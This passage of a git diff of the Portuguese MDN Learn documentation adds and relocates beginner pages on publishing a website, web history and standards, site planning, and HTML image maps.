Assim que terminar de escrever o código e organizar os ficheiros que compõem o seu sire da web, precisa de colocar tudo online para que pessoas o possam encontrar. Este artigo explica como colocar o seu código de amostra online com pouco esforço.

+
+ +

Quais são as opções?

+ +

A publicação de um site na web é um tema complexo porque há muitas maneiras de o abordar. Este artigo não tenta documentar todos os métodos possíveis. Em vez disso, explica as vantagens e desvantagens de três abordagens que são práticas para os principiantes. Depois, passa por um método que pode funcionar de imediato para muitos leitores.

+ +

Encontrar hospedagem na web e um nome de domínio

+ +

Para ter mais controlo sob o conteúdo e a aparência dum site, a maioria das pessoas escolhe comprar hospedagem na web e um nome de domínio:

+ + + +

Muitos sites profissionais escolhem este modo para pôr o seu site online.

+ +

Além disso, precisará de um programa {{Glossary("FTP", "File Transfer Protocol (FTP)")}} (ver How much does it cost: software para mais detalhes) para transferir os ficheiros do site para o servidor. Os programas FTP variam muito, mas geralmente, tem de se ligar ao seu servidor web utilizando os detalhes fornecidos pela sua empresa de hospedagem (normalmente nome de utilizador, palavra-passe, nome de anfitrião). Depois, o programa mostra-lhe os seus ficheiros locais e os ficheiros do servidor web em duas janelas, e fornece-lhe uma forma de transferir ficheiros para trás e para a frente.

+ +

+ +

Dicas para encontrar hospedagem na web e um nome de domínio

+ + + +

Usar uma ferramenta online

+ +

Algumas ferramentas permitem publicar o seu site online:

+ + + +

Estas opções são tipicamente grátis, mas é possível você acabar por precisar mais que as funções que elas oferecem.

+ +

Usar um IDE online

+ +

Existem várias aplicações web que imitam um ambiente de desenvolvimento de website, permitindo-lhe introduzir HTML, CSS e JavaScript, e depois mostrar o resultado desse código como um website — tudo num único separador do navegador. Em geral, estas ferramentas são relativamente fáceis de manusear, ótimas para aprender, boas para partilhar código (por exemplo, se quiser partilhar uma técnica com ou pedir ajuda de depuração a colegas num escritório diferente), e gratuitas (para funcionalidades básicas). Hospedam a sua página num endereço da web único. No entanto, as funcionalidades são limitadas, e estas aplicações normalmente não fornecem espaço de alojamento para ativos (como imagens).

+ +

Experimente usar as seguintes IDEs para descobrir qual é a melhor para si:

+ + + +

+ +

Publicar via GitHub

+ +

Agora vejamos como facilmente publicar o seu site através do GitHub Pages.

+ +
    +
  1. Primeiro, inscreva se no GitHub e confirme o seu endereço eletrónico.
  2. +
  3. A seguir, a crie um repositório para guardar os seus ficheiros.
  4. +
  5. Nesta página, na caixa Repository name, escreva username.github.io, onde username é o seu nome de utilizador. Por exemplo, Bob Smith iria introduzir bobsmith.github.io na caixa. Selecione a caixa "Initialize this repository with a README", e carregue "Create repository".
  6. +
  7. Arraste os conteúdos da sua pasta para o website, para dentro do repositório. Depois carregue em Commit changes.
    + +
    +

    Nota: Certifique se que a sua pasta contém o ficheiro index.html.

    +
    +
  8. +
  9. +

    Navegue no seu navegador até username.github.io para ver o seu website online. Por exemplo, para o nome de utilizador chrisdavidmills, vai a chrisdavidmills.github.io.

    + +
    +

    Nota: Pode demorar alguns minutos para que o seu site esteja live. Se o seu site não for visível imediatamente, espere por uns minutos e tente novamente.

    +
    +
  10. +
+ +

Para aprender mais, veja GitHub Pages Help.

+ +

Leitura complementar

+ + + +

{{PreviousMenuNext("Learn/Comecar_com_a_Web/Elementar_de_JavaScript", "Learn/Comecar_com_a_Web/Como_funciona_a_Web", "Learn/Comecar_com_a_Web")}}

+ +

Neste módulo

+ + diff --git a/files/pt-pt/learn/getting_started_with_the_web/the_web_and_web_standards/index.html b/files/pt-pt/learn/getting_started_with_the_web/the_web_and_web_standards/index.html new file mode 100644 index 0000000000..928a960b97 --- /dev/null +++ b/files/pt-pt/learn/getting_started_with_the_web/the_web_and_web_standards/index.html @@ -0,0 +1,174 @@ +--- +title: A Web e os padrões da Web +slug: Learn/Comecar_com_a_Web/A_web_e_os_padroes_da_web +tags: + - Aprender + - Beginner + - Front-end + - Normas da Web + - Padrões da Web + - Web +translation_of: Learn/Getting_started_with_the_web/The_web_and_web_standards +--- +

{{learnsidebar}}

+ +

Este artigo fornece informação útil sobre a Web - como surgiu, o que são as tecnologias padrão da Web, como trabalham em conjunto, porque é que web developer é uma excelente carreira a escolher, e que melhores práticas irá aprender através do curso.

+ +

História resumida da Web

+ +

Vamos manter isto muito breve, pois existem relatos muito (mais) detalhados da história da web lá fora, aos quais faremos referência mais tarde (tente também procurar por "história da web" no seu motor de busca favorito e veja o que obtém, se estiver interessado em mais detalhes).

+ +

No final da década de 1960, o exército dos EUA desenvolveu uma rede de comunicação chamada ARPANET. Esta pode ser considerada uma precursora da Web, uma vez que funcionava na {{Interwiki("wikipedia", "Comutação de pacotes", "comutação de pacotes")}}, e incluía a primeira implementação do conjunto de protocolos {{Interwiki("wikipedia", "TCP/IP", "TCP/IP")}}. Estas duas tecnologias formam a base da infra-estrutura sobre a qual a Internet está construída.

+ +

Em 1980, Tim Berners-Lee (frequentemente referido como TimBL) escreveu um programa de caderno de notas chamado ENQUIRE, que apresentava o conceito de ligações entre os diferentes nódulos. Soa familiar?

+ +

Avançando para 1989, e a TimBL escreveu Information Management: A Proposal e HyperText at CERN; estas duas publicações em conjunto forneceram o pano de fundo para a forma como a web funcionaria. Receberam interesse suficiente para convencer os chefes do TimBL a permitir-lhe avançar e criar um sistema global de hipertexto.

+ +

No final de 1990, TimBL tinha criado todas as coisas necessárias para executar a primeira versão da web - HTTP, HTML, o primeiro navegador web, que se chamava {{Interwiki("wikipedia", "WorldWideWeb", "WorldWideWeb")}}, um servidor HTTP, e algumas páginas web para ver.

+ +

Nos anos que se seguiram, a web explodiu, com vários navegadores a serem lançados, milhares de servidores web a serem criados, e milhões de páginas web a serem criadas. OK, este é um resumo muito simples do que aconteceu, mas prometi-vos um breve resumo.

+ +

Um último dado significativo a partilhar é que em 1994, o TimBL fundou o {{Interwiki("wikipedia", "W3C", "World Wide Web Consortium")}} (W3C), uma organização que reúne representantes de muitas empresas tecnológicas diferentes para trabalharem em conjunto na criação de especificações tecnológicas para a web. Depois disso seguiram-se outras tecnologias, tais como CSS e JavaScript, e a web começou a parecer-se mais com a web que conhecemos hoje.

+ +

Os padrões da Web

+ +

As normas / padrões da web são as tecnologias que utilizamos para construir websites. Estas normas existem como longos documentos técnicos chamados especificações, que detalham exactamente como a tecnologia deve funcionar. Estes documentos não são muito úteis para aprender a utilizar as tecnologias que descrevem (é por isso que temos sites como a MDN Web Docs), mas em vez disso destinam-se a ser utilizados por engenheiros de software para implementar estas tecnologias (geralmente em navegadores).

+ +

Por exemplo, o HTML Living Standard descreve exactamente como o HTML (todos os elementos HTML, e as suas APIs associadas, e outras tecnologias circundantes) deve ser implementado.

+ +

As normas Web são criadas por organismos de normas — instituições que convidam grupos de pessoas de diferentes empresas tecnológicas a juntarem-se e acordarem sobre a melhor forma de como as tecnologias devem funcionar para cumprir todos os seus casos de utilização. O W3C é o organismo de normas Web mais conhecido, mas existem outros como o WHATWG (que foi responsável pela modernização da linguagem HTML), ECMA (que publica a norma para ECMAScript, na qual o JavaScript se baseia), Khronos (que publica tecnologias para gráficos 3D, como o WebGL), e outros.

+ +

Standards "abertos"

+ +

Um dos aspetos chave das normas web, que o TimBL e o W3C acordaram desde o início, é que a web (e as tecnologias web) devem ser livres de contribuir e utilizar, e não sobrecarregadas por patentes / licenciamento. Portanto, qualquer pessoa pode escrever o código para construir um website gratuitamente, e qualquer pessoa pode contribuir para o processo de criação de normas, onde as especificações são escritas.

+ +

Porque as tecnologias web são criadas abertamente, numa colaboração entre várias empresas, isso significa que nenhuma empresa as consegue controlar, que é fantástico. Não se quer que uma única empresa decida subitamente colocar a web inteira atrás de uma paywall, ou lançar uma nova versão de HTML que todos têm de comprar para continuar a fazer websites, ou pior ainda, decidindo apenas que já não estão interessados e simplesmente desligando a web.

+ +

Isto permite que a web continue a ser um recurso público disponível gratuitamente.

+ +

Não quebre a web

+ +

Outra frase que ouvirá em torno das normas abertas da web é "não quebre a web" — a ideia é que qualquer nova tecnologia web que seja introduzida deve ser retro compatível com o que existia antes (ou seja, os antigos websites continuarão a funcionar), e com o que existe atualmente (as futuras tecnologias, por sua vez, serão compatíveis com o que temos atualmente). Ao percorrer o material de aprendizagem aqui apresentado, começará a aprender como isto se torna possível com algum trabalho de conceção e implementação muito inteligente.

+ +

Ser um web developer é bom

+ +

A indústria da web é um mercado muito atrativo para entrar se estiver à procura de um emprego. Números recentemente publicados dizem que existem atualmente cerca de 19 milhões de web developers no mundo, e esse número é previsto mais que dobrar na próxima década. E, ao mesmo tempo, há uma escassez de competências na indústria — portanto, que melhor altura para aprender a desenvolvimento web?

+ +

No entanto, nem tudo é brincadeira — construir sites é uma atividade mais complicada do que costumava ser, e terá de dedicar algum tempo ao estudo de todas as diferentes tecnologias que precisa de utilizar, todas as técnicas e melhores práticas que precisa de conhecer, e todos os padrões típicos que será necessário implementar. Vai levar alguns meses para começar realmente a ser proficiente, e depois terá de continuar a aprender para que o seu conhecimento se mantenha atualizado com todas as novas ferramentas e funcionalidades que aparecem na plataforma web, e continuar a praticar e a aperfeiçoar a sua arte.

+ +

A única constante é a mudança.

+ +

Isto parece-lhe difícil? Não se preocupe — o nosso objetivo é dar-lhe tudo o que precisa de saber para começar, e as coisas ficarão mais fáceis. Assim que aceitar a constante mudança e incerteza da web, começará a divertir-se. Como parte da comunidade web, terá uma rede de contactos e material útil para o ajudar, e começará a desfrutar das possibilidades criativas que ela lhe traz.

+ +

Agora é um criativo digital. Desfrute da experiência.

+ +

Sinopse das tecnologias modernas da Web

+ +

Há uma série de tecnologias a aprender se quiser ser um programador da web de front-end. Nesta secção iremos descrevê-las brevemente. Para uma explicação mais detalhada de como algumas delas funcionam em conjunto, leia o nosso artigo Como funciona a web.

+ + + +

É provável que esteja a ler estas palavras dentro de um navegador neste preciso momento (a menos que o tenha imprimido, ou que esteja a utilizar tecnologia de assistência, tal como um leitor de ecrã para o ler). Os navegadores são os programas de software que as pessoas utilizam para consumir a web, e incluem o Firefox, Chrome, Opera, Safari, e Edge.

+ +

HTTP

+ +

Hypertext Transfer Protocol, ou HTTP, é um protocolo de transmissão de mensagens que permite aos navegadores Web comunicarem com servidores (onde os websites são armazenados). Uma conversa típica é algo como

+ +
"Hello web server. Can you give me the files I need to render bbc.co.uk"?
+
+"Sure thing web browser — here you go"
+
+[Downloads files and renders web page]
+ +

A sintaxe das mensagens HTTP (chamadas pedidos e respostas) não é tão legível para o ser humano, mas isto dá-lhe a ideia básica.

+ +

HTML, CSS, e JavaScript

+ +

HTML, CSS, e JavaScript são as três tecnologias principais que irá usar para construir um site:

+ + + +

Tooling

+ +

Uma vez aprendidas as tecnologias de base que podem ser usadas para construir páginas web (como HTML, CSS, e JavaScript), em breve começará a deparar-se com várias ferramentas que podem ser usadas para tornar o seu trabalho mais fácil ou mais eficiente. Os exemplos incluem:

+ + + +

Linguagens de lado de servidor e frameworks

+ +

HTML, CSS, e JavaScript são linguagens de front-end (ou client-side), que significa que eles são processados pelo navegador para produzir a interface dum website que os seus utilizadores possam usar.

+ +

Há outra classe de línguas chamada de back-end (ou línguas do lado do servidor), o que significa que são executadas no servidor antes de o resultado ser então enviado para o navegador para ser exibido. Uma utilização típica para uma linguagem do lado do servidor é obter alguns dados de uma base de dados e gerar algum HTML para conter os dados, antes de depois enviar o HTML para o navegador para o exibir ao utilizador.

+ +

Exemplos de linguagens de lado de servidor incluem C#, Python, PHP e Java.

+ +

As melhores práticas da Web

+ +

Falámos brevemente sobre as tecnologias que irá utilizar para construir sítios web. Agora vamos discutir as melhores práticas que deverá empregar para se certificar de que está a utilizar essas tecnologias o melhor possível.

+ +

Ao fazer desenvolvimento web, a principal causa de incerteza advém do facto de não se saber que combinação de tecnologia cada utilizador utilizará para visualizar o seu site:

+ + + +

Como não sabe exatamente o que os seus utilizadores irão usar, precisa de planear defensivamente - tornar o seu site tão flexível quanto possível, para que todos os utilizadores acima mencionados possam fazer uso dele, mesmo que nem todos possam ter a mesma experiência. Em resumo, estamos a tentar fazer com que a web funcione para todos, tanto quanto possível.

+ +

Encontrará os conceitos abaixo em algum momento dos seus estudos.

+ + + +

Ver também

+ + + + diff --git a/files/pt-pt/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html b/files/pt-pt/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html new file mode 100644 index 0000000000..a5eacc3afa --- /dev/null +++ b/files/pt-pt/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html @@ -0,0 +1,112 @@ +--- +title: Qual será a aparência do seu site da Web? +slug: Learn/Comecar_com_a_Web/Apresentacao_do_meu_site +tags: + - Aprender + - Beginner + - Conteúdo + - Design + - Planear + - Tipos de Letra + - 'l10n:priority' +translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_like +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Comecar_com_a_Web/Installing_basic_software", "Learn/Comecar_com_a_Web/Lidar_com_ficheiros", "Learn/Comecar_com_a_Web")}}
+ +
+

Este artigo descreve o planeamento e conceptualização necessários antes de escrever o código do site da internet, incluindo "Que informação é que o meu site oferece?", "Quais os tipos de letra e cores que eu quero?" e ​​"O que é que o meu site faz?"

+
+ +

Antes de tudo: planeamento

+ +

Antes de fazer o que quer que seja, precisa de algumas ideias. O que é que o seu site realmente deve fazer? Um site pode fazer qualquer coisa, mas para a sua primeira tentativa, procure manter as coisas simples. Vamos começar a criar uma página web simples com um cabeçalho, uma imagem e alguns parágrafos.

+ +

Para começar, irá precisar de responder a estas questões:

+ +
    +
  1. De que se trata o seu site da Web? Gosta de cães, Nova Iorque, ou Pac-Man?
  2. +
  3. Que informação é que vai apresentar acerca o assunto? Escreva um título e alguns parágrafos, e pense numa imagem que gostaria de mostrar na sua página.
  4. +
  5. Como será apresentado o seu site da Web, em termos simples de alto nível? Qual é a cor de fundo? Que tipo de letra é apropriado: formal, desenhos, negrito e tom alto, subtil?
  6. +
+ +
+

Nota: Projetos complexos precisam de diretrizes detalhadas que abordem todos os detalhes de cores, tipos de letra, espaçamento entre elementos de uma página, estilo de escrita apropriado, e assim por diante. Isto às vezes é chamado guia de desenho ou livro de marca, e pode ver um exemplo em  Firefox OS - Orientações (inglês).

+
+ +

Esboçar o seu desenho

+ +

A seguir, pegue numa caneta e papel e crie um esboço do layout do seu site. Para a sua primeira página, não há muito o que esboçar, mas deve adquirir o hábito de fazer isso agora. Isto é mesmo uma grande ajuda — não tem que ser um Van Gogh!

+ +

+ +
+

Nota: Mesmo em sites a sérios, complexos, a equipa de design costuma começar com esboços grosseiros em papel e mais tarde constrói maquetas digitais com um editor de imagem ou tecnologias web.

+ +

Equipas de desenvolvimento web geralmente incluem um designer gráfico e um designer {{Glossary("UX", "user-experience")}} (UX). Obviamente, os designers gráficos montam os elementos visuais do site. Designers UX têm um papel mais abstrato, que consiste em abordar a forma como utilizadores vão experimentar e interagir com o site.

+
+ +

Escolha do conteúdo

+ +

Nesta altura, é boa ideia começar a criar o conteúdo que virá a aparecer na sua página da internet.

+ +

Texto

+ +

Ainda deve ter o parágrafo e títulos de há bocado. Mantenha-os por perto.

+ +

Cor do tema

+ +

Para escolher uma cor, vá ao Seletor de Cores e encontre uma cor de que gosta. Quando clicar numa cor, vai ver um código estranho com seis caracteres, tal como #660066. Este é um código hexadecimal que representa um tom de cor específico. Aponte o código num local de fácil acesso.

+ +

+ +

Imagens

+ +

Para escolher uma imagem, pesquise Images no Google procure algo adequado.

+ +
    +
  1. Quando encontrar a imagem que quer, clique nela.
  2. +
  3. Prima o botão Ver imagem.
  4. +
  5. Na página seguinte, carregue o botão direito do rato (Ctrl + clique nos Mac), escolha Guardar imagem como..., e escolha um lugar seguro para guardar a imagem. Em alternativa, copie o endereço da imagem da barra de endereço do seu navegador para a utilizar mais tarde.
  6. +
+ +

+ +

+ +
+

Nota: A maioria das imagens, incluindo na pesquisa de Imagens do Google, estão protegidas por direitos de autor. Para reduzir probabilidades de violar estes direitos, pode usar o filtro de licença do  Google. Primeiro, clique em Ferramentas de Pesquisa, e depois em Direitos de utilização:

+ +

+
+ +

Tipo de letra

+ +

Para escolher um tipo de letra:

+ +
    +
  1. Vá ao Google Fonts e deslize para baixo até encontrar um de que goste. Também pode usar os controlos à direita para filtrar resultados.
  2. +
  3. Clique no ícone "mais" (Adicionar) perto do tipo de letra que escolheu.
  4. +
  5. Clique no botão "* Family Selected" no painel no fim da página ("*" será o número de tipos de letra selecionados).
  6. +
  7. Na caixa apresentada, copie as linhas de código que o Google lhe dará para um editor de texto e guarde para utilizar mais tarde.
  8. +
+ +

+ +

+ +
{{PreviousMenuNext("Learn/Comecar_com_a_Web/Installing_basic_software", "Learn/Comecar_com_a_Web/Lidar_com_ficheiros", "Learn/Comecar_com_a_Web")}}
+ +

Neste módulo

+ + diff --git a/files/pt-pt/learn/html/como/adicionar_um_mapa_de_zona_clicavel_numa_imagem/index.html b/files/pt-pt/learn/html/como/adicionar_um_mapa_de_zona_clicavel_numa_imagem/index.html deleted file mode 100644 index d70dd147fc..0000000000 --- a/files/pt-pt/learn/html/como/adicionar_um_mapa_de_zona_clicavel_numa_imagem/index.html +++ /dev/null @@ -1,203 +0,0 @@ ---- -title: Adicionar um mapa de zona clicável numa imagem -slug: Learn/HTML/Como/Adicionar_um_mapa_de_zona_clicavel_numa_imagem -translation_of: Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image ---- -
-

Aqui, nós explicamos como configurar um mapa de imagens, e algumas desvantagens para considerar primeiro.

-
- - - - - - - - - - - - -
Pré-requisitos:Já deverá saber como criar um documento HTML básico e como adicionar imagens acessíveis para uma página da Web.
Objetivo:Learn how to make different regions of one image link to different pages.
- -
-

This article discusses client-side image maps only. Do not use server-side image maps, which require the user to have a mouse.

-
- -

Mapas de imagens, e as suas desvantagens

- -

When you nest an image inside {{htmlelement('a')}}, the entire image links to one webpage. An image map, on the other hand, contains several active regions (called "hotspots") that each link to a different resource.

- -

Formerly, image maps were a popular navigation device, but it’s important to thoroughly consider their performance and accessibility ramifications.

- -

Text links (perhaps styled with CSS) are preferable to image maps for several reasons: text links are lightweight, maintainable, often more SEO-friendly, and support accessibility needs (e.g., screen readers, text-only browsers, translation services).

- -

Como inserir uma imagem de mapa, devidamente

- -

Passo 1: A imagem

- -

Nem qualquer imagem é aceitável.

- - - -

You insert your image much the same way as always (with an {{htmlelement("img")}} element and {{htmlattrxref("alt",'img')}} text). If the image is only present as a navigation device, you may write alt="", provided you furnish appropriate {{htmlattrxref("alt",'area')}} text in the {{htmlelement('area')}} elements later on.

- -

You will need a special {{htmlattrxref("usemap","img")}} attribute. Come up with a unique name, containing no spaces, for your image map. Then assign that name (preceded by a hash) as the value for the usemap attribute:

- -
<img
-  src="image-map.png"
-  alt=""
-  usemap="#example-map-1" />
- -

Passo 2: Ativar os seus pontos de hotspots

- -

In this step, put all your code inside a {{htmlelement('map')}} element. <map> only needs one attribute, the same map {{htmlattrxref("name","map")}} as you used in your usemap attribute above:

- -
<map name="example-map-1">
-
-</map>
- -

Inside the <map> element, we need {{htmlelement('area')}} elements. An <area> element corresponds to a single hotspot. To keep keyboard navigation intuitive, make sure the source order of <area> elements corresponds to the visual order of hotspots.

- -

<area> elements are empty elements, but do require four attributes:

- -
-
{{htmlattrxref('shape','area')}}
-
{{htmlattrxref('coords','area')}}
-
-

shape takes one of four values: circle, rect, poly, and default. (A default <area> occupies the entire image, minus any other hotspots you’ve defined.) The shape you choose determines the coordinate information you’ll need to provide in coords.

- -
    -
  • For a circle, provide the center's x and y coordinates, followed by the length of the radius.
  • -
  • For a rectangle, provide the x/y coordinates of the upper-left and bottom-right corners.
  • -
  • For a polygon, to provide the x/y coordinates of each corner (so, at least six values).
  • -
- -

Coordinates are given in CSS pixels.

- -

In case of overlap, source order carries the day.

-
-
{{htmlattrxref('href','area')}}
-
The URL of the resource you’re linking to. You may leave this attribute blank if you don’t want the current area to link anywhere (say, if you’re making a hollow circle.)
-
{{htmlattrxref('alt','area')}}
-
-

A mandatory attribute, telling people where the link goes or what it does. alt text only displays when the image is unavailable. Please refer to our guidelines for writing accessible link text.

- -

You may write alt="" if the href attribute is blank and the entire image already has an alt attribute.

-
-
- -
<map name="example-map-1">
-  <area shape="circle" coords="200,250,25"
-    href="page-2.html" alt="circle example" />
-
-
-  <area shape="rect" coords="10, 5, 20, 15"
-    href="page-3.html" alt="rectangle example" />
-
-</map>
- -

Passo 3: Certificar-se de que este funciona para toda a gente

- -

You aren’t done until you test image maps rigorously on many browsers and devices. Try following links with your keyboard alone. Try turning images off.

- -

If your image map is wider than about 240px, you’ll need to make further adjustments to make your website responsive. It's not enough to resize the image for small screens, because the coordinates stay the same and no longer match the image.

- -

If you must use image maps, you may want to look into Matt Stow's jQuery plugin. Alternatively, Dudley Storey demonstrates a way to use SVG for an image map effect, along with a subsequent combined SVG-raster hack for bitmap images.

- -

Saiba mais

- - - -
- - - - - -
diff --git a/files/pt-pt/learn/html/como/index.html b/files/pt-pt/learn/html/como/index.html deleted file mode 100644 index abbfb425f3..0000000000 --- a/files/pt-pt/learn/html/como/index.html +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: Utilizar HTML para resolver problemas comuns -slug: Learn/HTML/Como -tags: - - HTML - - Programação Scripting -translation_of: Learn/HTML/Howto ---- -
{{LearnSidebar}}
- -

As seguintes hiperligações apontam para soluções de problemas comuns diários que terá de resolver com HTML.

- -
-
-

Estrutura básica

- -

The most basic application of HTML is document structure. If you're new to HTML you should start with this.

- - - -

Semântica de nível de texto básica

- -

HTML specializes in providing semantic information for a document, so HTML answers many questions you might have about how to get your message across best in your document.

- - -
- -
-

Hiperligações

- -

One of the main reasons for HTML is make navigation easy with {{Glossary("hyperlink", "hyperlinks")}}, which can be used in many different ways:

- - - -

Imagens e multimédia

- - - -

Scripting e estilização

- -

HTML only sets up document structure. To solve presentation issues, use {{glossary("CSS")}}, or use scripting to make your page interactive.

- - - -

Conteúdo integrado

- - -
-
- -

Problemas incomuns ou avançados

- -

Beyond the basics, HTML is very rich and offers advanced features for solving complex problems. These articles help you tackle the less common use cases you may face:

- -
-
-

Formulários

- -

Forms are a complex HTML structure made to send data from a webpage to a web server. We encourage you to go over our full dedicated guide. Here is where you should start:

- - - -

Informação tabular

- -

Some information, called tabular data, needs to be organized into tables with columns and rows. It's one of the most complex HTML structures, and mastering it is not easy:

- - - -

Representação de dados

- - - -

Interatividade

- - -
- -
-

Semântica de texto avançada

- - - -

Imagens e multimédia avançadas

- - - -

Internacionalização

- -

HTML is not monolingual. It provides tools to handle common internationalization issues.

- - - -

Desempenho

- - -
-
- -

     

diff --git a/files/pt-pt/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html b/files/pt-pt/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html new file mode 100644 index 0000000000..d70dd147fc --- /dev/null +++ b/files/pt-pt/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html @@ -0,0 +1,203 @@ +--- +title: Adicionar um mapa de zona clicável numa imagem +slug: Learn/HTML/Como/Adicionar_um_mapa_de_zona_clicavel_numa_imagem +translation_of: Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image +--- +
+

Aqui, nós explicamos como configurar um mapa de imagens, e algumas desvantagens para considerar primeiro.

+
+ + + + + + + + + + + + +
Pré-requisitos:Já deverá saber como criar um documento HTML básico e como adicionar imagens acessíveis para uma página da Web.
Objetivo:Learn how to make different regions of one image link to different pages.
+ +
+

This article discusses client-side image maps only. Do not use server-side image maps, which require the user to have a mouse.

+
+ +

Mapas de imagens, e as suas desvantagens

+ +

When you nest an image inside {{htmlelement('a')}}, the entire image links to one webpage. An image map, on the other hand, contains several active regions (called "hotspots") that each link to a different resource.

+ +

Formerly, image maps were a popular navigation device, but it’s important to thoroughly consider their performance and accessibility ramifications.

+ +

Text links (perhaps styled with CSS) are preferable to image maps for several reasons: text links are lightweight, maintainable, often more SEO-friendly, and support accessibility needs (e.g., screen readers, text-only browsers, translation services).

+ +

Como inserir uma imagem de mapa, devidamente

+ +

Passo 1: A imagem

+ +

Nem qualquer imagem é aceitável.

+ + + +

You insert your image much the same way as always (with an {{htmlelement("img")}} element and {{htmlattrxref("alt",'img')}} text). If the image is only present as a navigation device, you may write alt="", provided you furnish appropriate {{htmlattrxref("alt",'area')}} text in the {{htmlelement('area')}} elements later on.

+ +

You will need a special {{htmlattrxref("usemap","img")}} attribute. Come up with a unique name, containing no spaces, for your image map. Then assign that name (preceded by a hash) as the value for the usemap attribute:

+ +
<img
+  src="image-map.png"
+  alt=""
+  usemap="#example-map-1" />
+ +

Passo 2: Ativar os seus pontos de hotspots

+ +

In this step, put all your code inside a {{htmlelement('map')}} element. <map> only needs one attribute, the same map {{htmlattrxref("name","map")}} as you used in your usemap attribute above:

+ +
<map name="example-map-1">
+
+</map>
+ +

Inside the <map> element, we need {{htmlelement('area')}} elements. An <area> element corresponds to a single hotspot. To keep keyboard navigation intuitive, make sure the source order of <area> elements corresponds to the visual order of hotspots.

+ +

<area> elements are empty elements, but do require four attributes:

+ +
+
{{htmlattrxref('shape','area')}}
+
{{htmlattrxref('coords','area')}}
+
+

shape takes one of four values: circle, rect, poly, and default. (A default <area> occupies the entire image, minus any other hotspots you’ve defined.) The shape you choose determines the coordinate information you’ll need to provide in coords.

+ +
    +
  • For a circle, provide the center's x and y coordinates, followed by the length of the radius.
  • +
  • For a rectangle, provide the x/y coordinates of the upper-left and bottom-right corners.
  • +
  • For a polygon, to provide the x/y coordinates of each corner (so, at least six values).
  • +
+ +

Coordinates are given in CSS pixels.

+ +

In case of overlap, source order carries the day.

+
+
{{htmlattrxref('href','area')}}
+
The URL of the resource you’re linking to. You may leave this attribute blank if you don’t want the current area to link anywhere (say, if you’re making a hollow circle.)
+
{{htmlattrxref('alt','area')}}
+
+

A mandatory attribute, telling people where the link goes or what it does. alt text only displays when the image is unavailable. Please refer to our guidelines for writing accessible link text.

+ +

You may write alt="" if the href attribute is blank and the entire image already has an alt attribute.

+
+
+ +
<map name="example-map-1">
+  <area shape="circle" coords="200,250,25"
+    href="page-2.html" alt="circle example" />
+
+
+  <area shape="rect" coords="10, 5, 20, 15"
+    href="page-3.html" alt="rectangle example" />
+
+</map>
+ +

Passo 3: Certificar-se de que este funciona para toda a gente

+ +

You aren’t done until you test image maps rigorously on many browsers and devices. Try following links with your keyboard alone. Try turning images off.

+ +

If your image map is wider than about 240px, you’ll need to make further adjustments to make your website responsive. It's not enough to resize the image for small screens, because the coordinates stay the same and no longer match the image.

+ +

If you must use image maps, you may want to look into Matt Stow's jQuery plugin. Alternatively, Dudley Storey demonstrates a way to use SVG for an image map effect, along with a subsequent combined SVG-raster hack for bitmap images.

+ +

Saiba mais

+ + + +
+ + + + + +
diff --git a/files/pt-pt/learn/html/howto/index.html b/files/pt-pt/learn/html/howto/index.html new file mode 100644 index 0000000000..abbfb425f3 --- /dev/null +++ b/files/pt-pt/learn/html/howto/index.html @@ -0,0 +1,153 @@ +--- +title: Utilizar HTML para resolver problemas comuns +slug: Learn/HTML/Como +tags: + - HTML + - Programação Scripting +translation_of: Learn/HTML/Howto +--- +
{{LearnSidebar}}
+ +

As seguintes hiperligações apontam para soluções de problemas comuns diários que terá de resolver com HTML.

+ +
+
+

Estrutura básica

+ +

The most basic application of HTML is document structure. If you're new to HTML you should start with this.

+ + + +

Semântica de nível de texto básica

+ +

HTML specializes in providing semantic information for a document, so HTML answers many questions you might have about how to get your message across best in your document.

+ + +
+ +
+

Hiperligações

+ +

One of the main reasons for HTML is make navigation easy with {{Glossary("hyperlink", "hyperlinks")}}, which can be used in many different ways:

+ + + +

Imagens e multimédia

+ + + +

Scripting e estilização

+ +

HTML only sets up document structure. To solve presentation issues, use {{glossary("CSS")}}, or use scripting to make your page interactive.

+ + + +

Conteúdo integrado

+ + +
+
+ +

Problemas incomuns ou avançados

+ +

Beyond the basics, HTML is very rich and offers advanced features for solving complex problems. These articles help you tackle the less common use cases you may face:

+ +
+
+

Formulários

+ +

Forms are a complex HTML structure made to send data from a webpage to a web server. We encourage you to go over our full dedicated guide. Here is where you should start:

+ + + +

Informação tabular

+ +

Some information, called tabular data, needs to be organized into tables with columns and rows. It's one of the most complex HTML structures, and mastering it is not easy:

+ + + +

Representação de dados

+ + + +

Interatividade

+ + +
+ +
+

Semântica de texto avançada

+ + + +

Imagens e multimédia avançadas

+ + + +

Internacionalização

+ +

HTML is not monolingual. It provides tools to handle common internationalization issues.

+ + + +

Desempenho

+ + +
+
+ +

     

diff --git a/files/pt-pt/learn/html/introducao_ao_html/criar_hiperligacoes/index.html b/files/pt-pt/learn/html/introducao_ao_html/criar_hiperligacoes/index.html deleted file mode 100644 index 502bfda4cf..0000000000 --- a/files/pt-pt/learn/html/introducao_ao_html/criar_hiperligacoes/index.html +++ /dev/null @@ -1,331 +0,0 @@ ---- -title: Criar hiperligações -slug: Learn/HTML/Introducao_ao_HTML/Criar_hiperligacoes -tags: - - Aprender - - Guía - - HTML - - HTTP - - Hiperligações - - Principiante - - URL - - título -translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML")}}
- -

Hyperlinks are really important — they are what makes the Web a web. This article shows the syntax required to make a link, and discusses link best practices.

- - - - - - - - - - - - -
Prerequisites:Basic HTML familiarity, as covered in Getting started with HTML. HTML text formatting, as covered in HTML text fundamentals.
Objective:To learn how to implement a hyperlink effectively, and link multiple files together.
- - - -

